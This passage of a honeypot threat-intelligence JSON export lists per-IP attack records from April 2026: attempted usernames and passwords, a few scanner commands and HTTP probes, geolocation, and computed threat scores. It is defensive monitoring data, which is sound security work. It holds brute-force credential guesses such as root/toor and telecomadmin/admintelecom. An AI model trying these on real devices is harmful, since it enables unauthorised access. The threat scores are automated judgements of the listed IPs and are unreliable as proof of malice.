      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dbuser"
      ],
      "passwords_attempted": [
        "dbuser",
        "toor",
        "wazuh"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sandston",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T21:37:05.151000+00:00",
        "last_seen_30d": "2026-04-01T21:46:45.450000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 11
      }
    },
    "202.47.57.162": {
      "attack_count": 16,
      "first_seen": "2026-04-10T16:06:22.689Z",
      "last_seen": "2026-04-10T16:08:13.014Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:06:22.689000+00:00",
        "last_seen_30d": "2026-04-10T16:09:21.164000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "106.13.122.214": {
      "attack_count": 15,
      "first_seen": "2026-04-19T05:29:15.538Z",
      "last_seen": "2026-04-19T05:47:28.662Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "root",
        "users"
      ],
      "passwords_attempted": [
        "123456",
        "Root111$",
        "ftpuserpassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:29:15.538000+00:00",
        "last_seen_30d": "2026-04-19T05:48:29.447000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "134.122.45.11": {
      "attack_count": 15,
      "first_seen": "2026-04-23T10:23:16.746Z",
      "last_seen": "2026-04-23T10:24:33.781Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 152818,
        "days_active_30d": 1,
        "ports_targeted_30d": 62898,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-23T10:21:38+00:00",
        "last_seen_30d": "2026-04-23T10:36:50.041000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130452,
        "Honeytrap": 22300,
        "Cowrie": 15,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "176.65.139.128": {
      "attack_count": 15,
      "first_seen": "2026-04-26T18:10:28.368Z",
      "last_seen": "2026-04-26T18:10:29.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "echo -n JFEN",
        "telecomadmin"
      ],
      "passwords_attempted": [
        "admintelecom",
        "telnetadmin"
      ],
      "commands_executed": [
        "root",
        "echo -n JFEN",
        "telnetadmin"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.7,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T09:27:12.576000+00:00",
        "last_seen_30d": "2026-04-30T09:11:31.650000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 15,
        "Tanner": 2,
        "Honeytrap": 1
      }
    },
    "187.250.121.185": {
      "attack_count": 14,
      "first_seen": "2026-04-27T23:28:45.191Z",
      "last_seen": "2026-04-27T23:36:53.222Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ensenada",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T23:28:45.191000+00:00",
        "last_seen_30d": "2026-04-27T23:47:02.316000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "65.49.1.202": {
      "attack_count": 14,
      "first_seen": "2026-04-08T13:30:00.485Z",
      "last_seen": "2026-04-26T11:56:35.082Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T07:16:30.731000+00:00",
        "last_seen_30d": "2026-04-30T13:36:04.318000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 213,
        "Honeytrap": 70,
        "Ciscoasa": 14,
        "Cowrie": 14,
        "H0neytr4p": 8,
        "Dionaea": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "ElasticPot": 2,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "103.203.57.11": {
      "attack_count": 12,
      "first_seen": "2026-04-04T14:32:59.583Z",
      "last_seen": "2026-04-28T17:47:56.022Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T14:32:59.583000+00:00",
        "last_seen_30d": "2026-04-28T17:49:05.638000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 12
      }
    },
    "114.217.10.0": {
      "attack_count": 12,
      "first_seen": "2026-04-17T14:16:43.698Z",
      "last_seen": "2026-04-17T14:18:48.127Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T14:16:43.698000+00:00",
        "last_seen_30d": "2026-04-17T14:28:55.796000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "161.35.70.8": {
      "attack_count": 12,
      "first_seen": "2026-04-27T17:09:26.795Z",
      "last_seen": "2026-04-27T17:09:28.277Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-26T17:51:22+00:00",
        "last_seen_30d": "2026-04-27T17:10:36.395000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 12,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "47.84.109.59": {
      "attack_count": 10,
      "first_seen": "2026-04-20T21:37:46.349Z",
      "last_seen": "2026-04-20T21:38:25.995Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T19:06:06+00:00",
        "last_seen_30d": "2026-04-29T09:23:31.295000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 14,
        "Cowrie": 10
      }
    },
    "64.23.160.23": {
      "attack_count": 10,
      "first_seen": "2026-04-10T16:05:35.952Z",
      "last_seen": "2026-04-11T00:14:59.355Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2024kelltech",
        "Kelltech2026!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:05:35.952000+00:00",
        "last_seen_30d": "2026-04-11T00:16:01.445000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "103.103.146.114": {
      "attack_count": 8,
      "first_seen": "2026-04-30T18:53:39.433Z",
      "last_seen": "2026-04-30T18:56:00.921Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Pangkalpinang",
      "asn": 136861,
      "as_org": "PT. ARTAMEDIA CITRA TELEMATIKA INDONESIA",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:53:39.433000+00:00",
        "last_seen_30d": "2026-04-30T18:57:02.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "202.10.42.86": {
      "attack_count": 8,
      "first_seen": "2026-04-30T10:48:12.352Z",
      "last_seen": "2026-04-30T10:49:04.168Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 58487,
      "as_org": "CV. Rumahweb Indonesia",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:48:12.352000+00:00",
        "last_seen_30d": "2026-04-30T10:50:09.857000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "66.118.160.194": {
      "attack_count": 8,
      "first_seen": "2026-04-27T05:14:01.110Z",
      "last_seen": "2026-04-27T05:22:05.753Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Ta'if",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T05:14:01.110000+00:00",
        "last_seen_30d": "2026-04-27T05:23:42.329000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "117.33.242.50": {
      "attack_count": 7,
      "first_seen": "2026-04-11T19:23:46.697Z",
      "last_seen": "2026-04-11T19:25:47.323Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T19:23:46.697000+00:00",
        "last_seen_30d": "2026-04-11T19:35:53.130000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "147.185.132.78": {
      "attack_count": 6,
      "first_seen": "2026-04-07T18:35:05.715Z",
      "last_seen": "2026-04-08T22:45:20.753Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:07:18.654000+00:00",
        "last_seen_30d": "2026-04-28T22:37:54.841000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 30,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "159.8.211.26": {
      "attack_count": 6,
      "first_seen": "2026-04-30T10:47:32.508Z",
      "last_seen": "2026-04-30T10:49:10.969Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 36351,
      "as_org": "IBM Cloud",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:47:32.508000+00:00",
        "last_seen_30d": "2026-04-30T10:50:18.890000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "172.235.136.241": {
      "attack_count": 6,
      "first_seen": "2026-04-30T08:58:00.498Z",
      "last_seen": "2026-04-30T08:58:43.127Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:58:00.498000+00:00",
        "last_seen_30d": "2026-04-30T08:59:49.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "61.240.156.37": {
      "attack_count": 6,
      "first_seen": "2026-04-29T09:11:59.466Z",
      "last_seen": "2026-04-29T12:06:09.204Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:11:59.466000+00:00",
        "last_seen_30d": "2026-04-29T12:16:41.076000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "66.132.172.182": {
      "attack_count": 6,
      "first_seen": "2026-04-04T00:38:21.607Z",
      "last_seen": "2026-04-04T00:39:01.207Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 29,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-02T00:50:00.436000+00:00",
        "last_seen_30d": "2026-04-30T19:54:34.370000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 52,
        "Miniprint": 7,
        "Cowrie": 6,
        "ElasticPot": 4,
        "CitrixHoneypot": 3,
        "Honeyaml": 2,
        "Dicompot": 1
      }
    },
    "36.92.6.45": {
      "attack_count": 5,
      "first_seen": "2026-04-25T22:55:17.377Z",
      "last_seen": "2026-04-25T22:55:19.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mailtest"
      ],
      "passwords_attempted": [
        "testing"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:55:17.377000+00:00",
        "last_seen_30d": "2026-04-25T22:56:19.953000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.236.35.120": {
      "attack_count": 4,
      "first_seen": "2026-04-24T21:49:15.259Z",
      "last_seen": "2026-04-24T21:49:19.099Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2877,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-24T21:49:08+00:00",
        "last_seen_30d": "2026-04-24T21:59:26.169000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1523,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "198.235.24.141": {
      "attack_count": 4,
      "first_seen": "2026-04-27T16:48:46.987Z",
      "last_seen": "2026-04-27T16:48:50.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 25,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:32:45+00:00",
        "last_seen_30d": "2026-04-27T16:49:58.071000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 11,
        "Cowrie": 4
      }
    },
    "34.22.231.178": {
      "attack_count": 4,
      "first_seen": "2026-04-24T03:19:37.669Z",
      "last_seen": "2026-04-24T03:19:39.165Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:19:37.669000+00:00",
        "last_seen_30d": "2026-04-24T03:20:45.908000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "37.60.241.154": {
      "attack_count": 4,
      "first_seen": "2026-04-07T08:19:55.053Z",
      "last_seen": "2026-04-12T19:51:25.743Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 100,
      "threat_level": "critical",
